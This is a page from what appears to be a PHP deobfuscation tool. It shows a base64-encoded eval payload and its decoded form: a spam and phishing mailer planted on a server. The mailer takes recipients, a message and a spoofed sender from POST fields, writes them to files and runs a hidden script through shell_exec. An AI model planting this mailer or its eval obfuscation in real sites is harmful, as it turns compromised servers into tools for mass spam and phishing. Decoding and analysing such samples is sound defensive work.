Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval("?>".base64_decode("PD9waHAgPz48P3BocA0KaWdub3JlX3VzZXJfYWJvcnQoKTsNCiR0ZXN0YSA..

Decoded Output download

?>b'<?php ?><?php
ignore_user_abort();
$testa = $_POST[\'veio\'];
if ($testa != "") {
    $message = $_POST[\'bodys\'];
    $subject = $_POST[\'ssubject\'];
    $nome = $_POST[\'nome\'];
    $from = $_POST[\'de\'];
    $from_mail = $nome . \' <\' . $from . \'>\';
    $to = $_POST[\'emails\'];
    $email = explode("
", $to);
    $message = stripslashes($message);
    $message = str_replace(\'$?link?$\', uniqid(), $message);
    $fh = fopen("list", "w");
    fwrite($fh, $to);
    fclose($fh);
    $fsa = fopen("message", "w");
    fwrite($fsa, $message);
    fclose($fsa);
    $json = json_encode(array("subject" => $subject, "name" => $nome, "sender" => $from,));
    $ss = fopen("para.json", "w");
    fwrite($ss, $json);
    fclose($ss);
    $output = shell_exec(\'python3 /etc/apparmor/po.rb\');
    echo "<pre>$output</pre>";
    if ($ok == "ok") echo "";
}
?>
'

Did this file decode correctly?

Original Code

<?php eval("?>".base64_decode("PD9waHAgPz48P3BocA0KaWdub3JlX3VzZXJfYWJvcnQoKTsNCiR0ZXN0YSA9ICRfUE9TVFsndmVpbyddOw0KaWYgKCR0ZXN0YSAhPSAiIikgew0KICAgICRtZXNzYWdlID0gJF9QT1NUWydib2R5cyddOw0KICAgICRzdWJqZWN0ID0gJF9QT1NUWydzc3ViamVjdCddOw0KICAgICRub21lID0gJF9QT1NUWydub21lJ107DQogICAgJGZyb20gPSAkX1BPU1RbJ2RlJ107DQogICAgJGZyb21fbWFpbCA9ICRub21lIC4gJyA8JyAuICRmcm9tIC4gJz4nOw0KICAgICR0byA9ICRfUE9TVFsnZW1haWxzJ107DQogICAgJGVtYWlsID0gZXhwbG9kZSgiDQoiLCAkdG8pOw0KICAgICRtZXNzYWdlID0gc3RyaXBzbGFzaGVzKCRtZXNzYWdlKTsNCiAgICAkbWVzc2FnZSA9IHN0cl9yZXBsYWNlKCckP2xpbms/JCcsIHVuaXFpZCgpLCAkbWVzc2FnZSk7DQogICAgJGZoID0gZm9wZW4oImxpc3QiLCAidyIpOw0KICAgIGZ3cml0ZSgkZmgsICR0byk7DQogICAgZmNsb3NlKCRmaCk7DQogICAgJGZzYSA9IGZvcGVuKCJtZXNzYWdlIiwgInciKTsNCiAgICBmd3JpdGUoJGZzYSwgJG1lc3NhZ2UpOw0KICAgIGZjbG9zZSgkZnNhKTsNCiAgICAkanNvbiA9IGpzb25fZW5jb2RlKGFycmF5KCJzdWJqZWN0IiA9PiAkc3ViamVjdCwgIm5hbWUiID0+ICRub21lLCAic2VuZGVyIiA9PiAkZnJvbSwpKTsNCiAgICAkc3MgPSBmb3BlbigicGFyYS5qc29uIiwgInciKTsNCiAgICBmd3JpdGUoJHNzLCAkanNvbik7DQogICAgZmNsb3NlKCRzcyk7DQogICAgJG91dHB1dCA9IHNoZWxsX2V4ZWMoJ3B5dGhvbjMgL2V0Yy9hcHBhcm1vci9wby5yYicpOw0KICAgIGVjaG8gIjxwcmU+JG91dHB1dDwvcHJlPiI7DQogICAgaWYgKCRvayA9PSAib2siKSBlY2hvICIiOw0KfQ0KPz4NCg==")); ?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 e17e1c48e78245f30890e817245bf308
Eval Count 1
Decode Time 51 ms